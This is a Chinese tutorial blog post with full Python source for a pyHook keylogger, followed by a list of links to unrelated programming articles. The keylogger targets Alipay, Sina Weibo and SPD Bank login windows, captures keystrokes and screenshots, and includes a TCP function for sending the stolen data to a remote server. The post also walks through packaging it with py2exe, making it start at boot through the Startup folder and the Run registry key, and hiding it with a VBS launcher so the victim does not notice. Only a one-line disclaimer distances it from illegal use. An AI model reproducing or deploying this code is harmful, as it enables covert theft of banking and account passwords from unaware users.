Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
Cython 三分钟入门教程
Sep 17 Python
Django中几种重定向方法
Apr 28 Python
Django的session中对于用户验证的支持
Jul 23 Python
python django 增删改查操作 数据库Mysql
Jul 27 Python
import的本质解析
Oct 30 Python
使用 Python 实现文件递归遍历的三种方式
Jul 18 Python
Python生成一个迭代器的实操方法
Jun 18 Python
python字符串中匹配数字的正则表达式
Jul 03 Python
python selenium操作cookie的实现
Mar 18 Python
Python的历史与优缺点整理
May 26 Python
python3的pip路径在哪
Jun 23 Python
python垃圾回收机制原理分析
Apr 13 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
在PHP里得到前天和昨天的日期的代码
2007/08/16 PHP
在PHP中养成7个面向对象的好习惯
2010/01/28 PHP
Symfony数据校验方法实例分析
2015/01/26 PHP
PHP入门教程之日期与时间操作技巧总结(格式化,验证,获取,转换,计算等)
2016/09/11 PHP
PHP排序算法之快速排序(Quick Sort)及其优化算法详解
2018/04/21 PHP
PHP使用PDO、mysqli扩展实现与数据库交互操作详解
2019/07/20 PHP
简明json介绍
2008/09/28 Javascript
JS getMonth()日期函数的值域是0-11
2010/02/15 Javascript
基于jQuery实现左右div自适应高度完全相同的代码
2012/08/09 Javascript
js自定义事件及事件交互原理概述(一)
2013/02/01 Javascript
jQuery简单实现banner图片切换
2014/01/02 Javascript
深入理解javascript严格模式(Strict Mode)
2014/11/28 Javascript
jquery中val()方法是从最后一个选项往前读取的
2015/09/06 Javascript
微信小程序之网络请求简单封装实例详解
2017/06/28 Javascript
vue-router实现组件间的跳转(参数传递)
2017/11/07 Javascript
tween.js缓动补间动画算法示例
2018/02/13 Javascript
JavaScript实现动态留言板
2020/03/16 Javascript
vue tab切换,解决echartst图表宽度只有100px的问题
2020/07/19 Javascript
基于elementUI竖向表格、和并列的案例
2020/10/26 Javascript
详解Python文本操作相关模块
2017/06/22 Python
使用python 爬虫抓站的一些技巧总结
2018/01/10 Python
python重试装饰器的简单实现方法
2019/01/31 Python
500行代码使用python写个微信小游戏飞机大战游戏
2019/10/16 Python
用python实现名片管理系统
2020/06/18 Python
天猫超市:阿里巴巴打造的网上超市
2016/11/02 全球购物
德国鞋子网上商店:Omoda.de
2017/03/31 全球购物
意大利时尚奢侈品店:D’Aniello Boutique
2021/01/19 全球购物
护理专业毕业生推荐信
2013/10/31 职场文书
总经理驾驶员岗位职责
2013/12/04 职场文书
信息专业毕业生五年职业规划参考
2014/02/06 职场文书
《小小雨点》教学反思
2014/02/18 职场文书
党员群众路线整改措施及今后努力方向
2014/10/28 职场文书
全国法制宣传日活动总结2014
2014/11/01 职场文书
家属慰问信
2015/02/14 职场文书
2015社区健康教育工作总结
2015/05/20 职场文书
教你怎么用python实现字符串转日期
2021/05/24 Python